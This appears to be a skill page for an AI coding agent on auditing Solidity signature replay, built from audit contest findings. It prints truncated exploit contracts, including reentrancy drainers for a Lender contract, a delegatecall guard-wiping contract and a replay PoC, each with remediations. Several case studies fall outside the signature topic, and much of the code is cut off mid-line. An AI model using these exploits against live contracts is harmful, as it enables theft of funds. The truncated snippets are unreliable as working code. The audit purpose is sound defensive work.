# Solidity Signature Replay Malleability

> Audit ECDSA signature verifications, EIP-712 typed data hashing, and permit operations for cross-chain/cross-contract replay, missing nonces, ecrecover address(0) return on invalid signatures, and s-value malleability.

- Skill: `netvar1337/solidity-signature-replay-malleability` (Agent Skill)
- Install (CLI): `npx skillmds@latest add netvar1337/solidity-signature-replay-malleability`
- Raw SKILL.md: https://api.skillmd.com/api/skills/netvar1337/solidity-signature-replay-malleability/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: netvar1337 (https://skillmd.com/u/netvar1337)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/netvar1337/solidity-signature-replay-malleability

---


# Solidity EIP-712, Permitted Signatures & Cryptographic Replay Attacks

## Overview & Empirical Grounding
This security auditing skill is synthesized from **271 empirical audit contest findings** (45 Critical, 226 High severity) extracted from the `Zaevlad/audit-findings-dataset` corpus.

Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit **Cryptography & Signatures** patterns.

### Key Trigger Keywords
`ecrecover`, `eip712`, `eip-712`, `signature replay`, `signature malleability`, `permit replay`, `compact signature`, `secp256k1`

---

## Threat Model & Core Attack Vectors

Detailed failure modes identified across empirical audit findings:
1. **Unchecked Assumptions & Protocol State Discrepancy**: Deviations between internal accounting state and actual balances/external conditions.
2. **Missing Boundary Checks & Validation**: Failing to constrain user inputs, return values, or stale external data feeds.
3. **Execution Ordering & Invariant Breakage**: Invariants momentarily violated during external calls or intermediary calculations.
4. **Economic & MEV Incentives**: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.

---

## Step-by-Step Audit Checklist

When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:

### 1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (`onlyOwner`, `onlyRole`, custom guards) and ensure roles are initialized in constructor/initializer.
- Trace all token balance state changes and external contract interactions.

### 2. Deep Invariant & Boundary Verification
- **Input Validation**: Check zero-address (`address(0)`), zero-amount, array length parity, and upper/lower bounds.
- **State Transition Sequencing**: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- **External Return Handling**: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- **Failure Paths & DoS Hazards**: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.

### 3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (`forge test`):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

contract AuditPoCTest is Test {
    // Setup target protocol and mock dependencies
    function setUp() public {
        // Fork mainnet or deploy local environment
    }

    function test_exploit_vector() public {
        // 1. Establish initial attacker balance
        // 2. Trigger vulnerability
        // 3. Assert invariant violation or balance drain
    }
}
```

---

## Empirical Case Studies from Zaevlad/audit-findings-dataset

The following real-world contest findings illustrate the root causes and remediation patterns:

### Case Study: Successful transactions are not stored, causing a replay attack on ``redeemDepositsAndInternalBalances``
- **Severity**: High (Dataset Weight: 1.00, ID: #3539)
- **Vulnerability Mechanism**:
in redeemDepositsAndInternalBalances there is no validation about the parameters that have been used which should be stored and should not be reused.

As a result, parameters that have already been used can be reused.

Look at this:

```solidity
function redeemDepositsAndInternalBalances(
        address owner,
        address reciever,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata internalBalances,
        uint256 ownerRoots,
        bytes32[] calldata proof,
        uint256 deadline,
        bytes calldata signature
    ) external payable fundsSafu noSupplyChange nonReentrant {
        // verify deposits are valid.
        // note: if the number of contracts that own deposits is small,
        // deposits can be stored in bytecode rather than relying on a merkle tree.
        verifyDepositsAndInternalBalances(owner, deposits, internalBalances, ownerRoots, proof);

        // signature verification.
        verifySignature(owner, reciever, deadline, signature)
```

```solidity
function verifyDepositsAndInternalBalances(
        address account,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata inte

#### Proof of Concept / Vulnerable Pattern
```solidity
Due to difficulty finding the same MERKLE_ROOT value as the L2ContractMigrationFacet contract.

So, this PoC only proved a simple signature replay of L2ContractMigrationFacet.

Then the bug in verifyDepositsAndInternalBalances can be proven by yourself with a replay attack scheme, since only you know the "leaves" of MERKLE_ROOT in the L2ContractMigrationFacet contract.
paste this code on dir/test of new foundry project
don't forget to install dependencies such as forge-std and openzeppelin
run with forge test -vvvv

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import "../src/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract PocTest is Test {
    using ECDSA for bytes32;

    L2ContractMigrationFacetsimple L2CMFOp;

    uint256 internal signerPrivateKey;

    uint256 optimismFork;

    bytes32 private constant REDEEMDEPOSITTYPE_HASH =
        keccak256(
            "redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
        );

    function setUp() public {
        optimismFork = vm.createSelectFork("https://rpc.ankr.com/opti
```

- **Remediation Recommendation**:
```solidity
    mapping(bytes32 => bool) public isRedeemed;

    function verifyDepositsAndInternalBalances(
        address account,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata internalBalances,
        uint256 ownerRoots,
        bytes32[] calldata proof
    ) internal {
        bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
        if (isRedeemed[leaf]) revert REDEEMED_ALREADY();
        require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
        isRedeemed[leaf] = true;
    }
```

And also do that in verifySignature ensure that can't be front running attack, like add access control or nonces

---
### Case Study: Lender contract can be drained by re-entrancy in `repay`
- **Severity**: High (Dataset Weight: 1.00, ID: #3672)
- **Vulnerability Mechanism**:
An attacker can craft a token allowing reentrant calls on transfer to drain any token from the Lender contract.

The Lender contract allows any token as loanToken and the repay function transfers the tokens before deleting the loan which result in a re-entrancy vulnerability. A malicious actor can craft a token allowing reentrant calls on transfer to exploit the re-entrancy vulnerability in the repay function and get more than one time his collateral back.

```solidity
File: Lender.Sol

L316:    // transfer the loan tokens from the borrower to the pool
            IERC20(loan.loanToken).transferFrom( // @audit - Re-entrancy can drain contract
                msg.sender,
                address(this),
                loan.debt + lenderInterest
            );
            // transfer the protocol fee to the fee receiver
            IERC20(loan.loanToken).transferFrom(
                msg.sender,
                feeReceiver,
                protocolInterest
            );
            // transfer the collateral tokens from the contract to the borrower
            IERC20(loan.collateralToken).transfer(
                loan.borrower,
                loan.collateral
            );
        

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contracts to drain the lender contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract ExploitToken is ERC20 {
    address owner;
    constructor(uint256 amount) ERC20("ExploitToken", "ET") {
        owner = msg.sender;
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        (bool status,) = owner.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        require(status, "call failed");
    }
}
```

```solidity
File: Exploit7.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ExploitToken} from "./ExploitToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit7  {
    Lender lender;
    address collateralToken;
    ExploitToken exploitToken;
    bool loanBorrowed;
    uint256 i;

    constructor(Lender _lender, address _collateralToken) {
        len
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by deleting the loan loans[loanId] before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Lender contract can be drained by re-entrancy in `setPool`
- **Severity**: High (Dataset Weight: 1.00, ID: #3673)
- **Vulnerability Mechanism**:
Tokens allowing reentrant calls on transfer can be drained from the contract.

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
```solidity
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract WeirdToken is ERC20 {

    constructor(uint256 amount) ERC20("WeirdToken", "WT") {
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        if (to != address(0)) {
            (bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        }
    }
}
```
 
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
```solidity
File: Lender.sol

L157:    } else if (p.poolBalance < currentBalance) {
            // if new balance < current balance then transfer the difference back to the lender
            IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can 

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contract to drain the lender contract:
```solidity
File: Exploit3.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit3  {
    Lender lender;
    Pool pool;

    constructor(Lender _lender) {
        lender = _lender;
    }

    function attack(address _loanToken, uint256 _poolBalance) external {
        ERC20(_loanToken).approve(address(lender), _poolBalance);
        // [1] Create a new pool
        Pool memory p = Pool({
            lender: address(this),
            loanToken: _loanToken,
            collateralToken: address(0),
            minLoanSize: 10 * 10**18,
            poolBalance: _poolBalance,
            maxLoanRatio: 210 * 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        // [2] Update pool with 0 poolBalance
        p.poolBalance = 0;
        pool = p;
        lender.setPool(p);
        // [3] Send the funds back to the at
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Plugins can be maliciously overridden by colliding signatures
- **Severity**: Critical (Dataset Weight: 1.00, ID: #5933)
- **Vulnerability Mechanism**:
Plugins are saved as a mapping from a 4byte selector to a given plugin address:
```solidity
mapping(bytes4 method => IPRBProxyPlugin plugin) public plugins;
```
When new plugins are installed, we call methodList() on the plugin, and then iterate through the list of selectors, and save the plugin address for each selector:
```solidity
function installPlugin(IPRBProxyPlugin plugin) external override {
    // Get the method list to install.
    bytes4[] memory methodList = plugin.methodList();
    // The plugin must have at least one listed method.
    uint256 length = methodList.length;
    if (length == 0) {
        revert PRBProxy_NoPluginMethods(plugin);
    }
    // Enable every method in the list.
    for (uint256 i = 0; i < length;) {
        plugins[methodList[i]] = plugin;
        unchecked {
            i += 1;
        }
    }
    // Log the plugin installation.
    emit InstallPlugin(plugin);
}
```
As a result, an innocent looking plugin can be crafted to intentionally override an existing plugin. When this happens, it will replace the existing plugin as the place where control flow is sent when this plugin in called. This is extremely dangerous, as it allows an attacker to

#### Proof of Concept / Vulnerable Pattern
```solidity
There are many ways this could cause harm in various protocols using PRBProxy, but the simplest is to look at the Sablier integration. When a stream is cancelled by a receiver, Sablier sends the refund to the sender and then calls onStreamCanceled() on the sender contract. The Sablier defined plugin is used to forward these funds along to the owner of the proxy. However, a malicious plugin could be installed with a colliding 4byte selector that, instead, sends the funds to an attacker. Even worse, once the attacker has control flow on behalf of the plugin, they would be able to cancel all other active streams and steal the refundable amount of all of them, which could be devastating. Here is a test that can be dropped into periphery/test/integration/plugin/on-stream-canceled that emulates installing an innocent plugin to collect fees from an unrelated protocol, but results in the refund being sent to an attacker when a stream is canceled. As you will see, the test_PluginOverride function emulates the exact behavior of test_OnStreamCanceled in your own integration tests, but because the malicious plugin is installed first, an attacker is able to steal the funds.
```solidity
// SPDX-
```

- **Remediation Recommendation**:
When plugins are installed, ensure that the 4byte selectors do not collide with any existing plugins.
```solidity
function installPlugin(IPRBProxyPlugin plugin) external override {
    // Get the method list to install.
    bytes4[] memory methodList = plugin.methodList();
    // The plugin must have at least one listed method.
    uint256 length = methodList.length;
    if (length == 0) {
        revert PRBProxy_NoPluginMethods(plugin);
    }
    // Enable every method in the list.
    for (uint256 i = 0; i < length;) {
        if (plugins[methodList[i]] != address(0)) revert PRBProxy_SelectorCollision(methodList[i]);
        plugins[methodList[i]] = plugin;
        unchecked {
            i += 1;
        }
    }
    // Log the plugin installation.
    emit InstallPlugin(plugin);
}
```

---
### Case Study: CM can `delegatecall` to any address and bypass all restrictions
- **Severity**: High (Dataset Weight: 1.00, ID: #19586)
- **Vulnerability Mechanism**:
The [`GuardCM`](https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol) contract is designed to restrict the Community Multisig (CM) actions within the protocol to only specific contracts and methods. This is achieved by implementing a [`checkTransaction()`](https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L387) method, which is invoked by the CM `GnosisSafe` [before every transaction](https://github.com/safe-global/safe-contracts/blob/186a21a74b327f17fc41217a927dea7064f74604/contracts/GnosisSafe.sol#L147-L167). When `GuardCM` is not paused, the implementation restricts calls to the `schedule()` and `scheduleBatch()` methods in the timelock to only specific targets and selectors, performs additional checks on calls forwarded to the L2s and blocks self-calls on the CM itself, which prevents it from unilaterally removing the guard: ```solidity if (to == owner) { // No delegatecall is allowed if (operation == Enum.Operation.DelegateCall) { revert NoDelegateCall(); } // Data needs to have enough bytes at least to fit the selector if (data.length < SELECTOR_DATA_LENGTH) { revert IncorrectDa

#### Proof of Concept / Vulnerable Pattern
```solidity
We can validate the vulnerability through an additional test case for the `GuardCM.js` test suite. This test case will simulate the exploit scenario and confirm the issue by performing the following actions: 1. It sets up the guard using the `setGuard` function with the appropriate parameters. 2. It attempts to execute an unauthorized call via delegatecall to the timelock, which should be reverted by the guard as expected. 3. It deploys an exploit contract, which contains a function to delete the guard storage. 4. It calls the `deleteGuardStorage` function through a delegatecall from the CM, which will remove the guard variable from the safe’s storage. 5. It repeats the unauthorized call from step 2. This time, the call succeeds, indicating that the guard has been bypassed. A simple exploit contract could look as follows: ```solidity pragma solidity ^0.8.0; contract DelegatecallExploitContract { bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8; function deleteGuardStorage() public { assembly { sstore(GUARD_STORAGE_SLOT, 0) } } } ``` And the test: ```solidity it("CM can remove guard through delegatecall", async functio
```

- **Remediation Recommendation**:
Disallow `delegatecall`s entirely: ```solidity @@ -397,15 +397,14 @@ contract GuardCM { bytes memory, address ) external { // No delegatecall is allowed if (operation == Enum.Operation.DelegateCall) { revert NoDelegateCall(); } // Just return if paused if (paused == 1) { // Call to the timelock if (to == owner) { // No delegatecall is allowed if (operation == Enum.Operation.DelegateCall) { revert NoDelegateCall(); } // Data needs to have enough bytes at least to fit the selector if (data.length < SELECTOR_DATA_LENGTH) {
```

---
### Case Study: Malicious actors can manipulate the `cross_chain_callback` callback
- **Severity**: High (Dataset Weight: 1.00, ID: #21836)
- **Vulnerability Mechanism**:
Because the validator’s signature message does not include the `from_chain` field, a malicious actor can preemptively execute the validator’s transaction with an incorrect `from_chain` field. This can cause the status of `create_cross_txs[txid]` to become a `Failed` state, preventing it from being executed again.

#### Proof of Concept / Vulnerable Pattern
```solidity
This is the `receive_cross_chain_callback` function
```solidity
function receive_cross_chain_callback(
    uint256 txid,
    string memory from_chain,
    uint256 from_handler,
    address to_handler,
    CrossChainMsgStatus status,
    uint8 sign_type,
    bytes calldata signatures
) external {
    verifySignature(
        txid,
        from_handler,
        to_handler,
        status,
        sign_type,
        signatures
    );
    processCrossChainCallback(
        txid,
        from_chain,
        from_handler,
        to_handler,
        status,
        sign_type,
        signatures
    );
    emitCrossChainResult(txid);
}
```
In the signature verification process, we found that the signature message does not include the `from_chain` field.
```solidity
function verifySignature(
    uint256 txid,
    uint256 from_handler,
    address to_handler,
    CrossChainMsgStatus status,
    uint8 sign_type,
    bytes calldata signatures
) internal view {
    bytes32 message_hash = keccak256(
        abi.encodePacked(txid, from_handler, to_handler, status)
    );

    require(
        signature_verifier.verify(message_hash, signatures, sign_type),
        "Invalid signature"
    );
}
```
```

- **Remediation Recommendation**:
```solidity
function receive_cross_chain_callback(
    uint256 txid,
    string memory from_chain,
    uint256 from_handler,
    address to_handler,
    CrossChainMsgStatus status,
    uint8 sign_type,
    bytes calldata signatures
) external {
    verifySignature(
        txid,
        from_chain,
        from_handler,
        to_handler,
        status,
        sign_type,
        signatures
    );
    ...
}
```
```solidity
function verifySignature(
    uint256 txid,
    string memory from_chain,
    uint256 from_handler,
    address to_handler,
    CrossChainMsgStatus status,
    uint8 sign_type,
    bytes calldata signatures
) internal view {
    bytes32 message_hash = keccak256(
        abi.encodePacked(txid, from_chain, to_handler, status)
    );

    require(
        signature_verifi


---

## Remediation & Hardening Principles

- **Fail-Safe Defaults**: Always favor reverting rather than proceeding with invalid or unexpected state.
- **Defensive Type Safety**: Use OpenZeppelin's vetted libraries (`SafeERC20`, `ReentrancyGuardUpgradeable`, `SafeCast`, `Math`).
- **Two-Step Critical Actions**: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- **Comprehensive Testing Matrix**: Pair unit tests with property-based invariant testing (Foundry `invariant` or Echidna) and mutation testing.

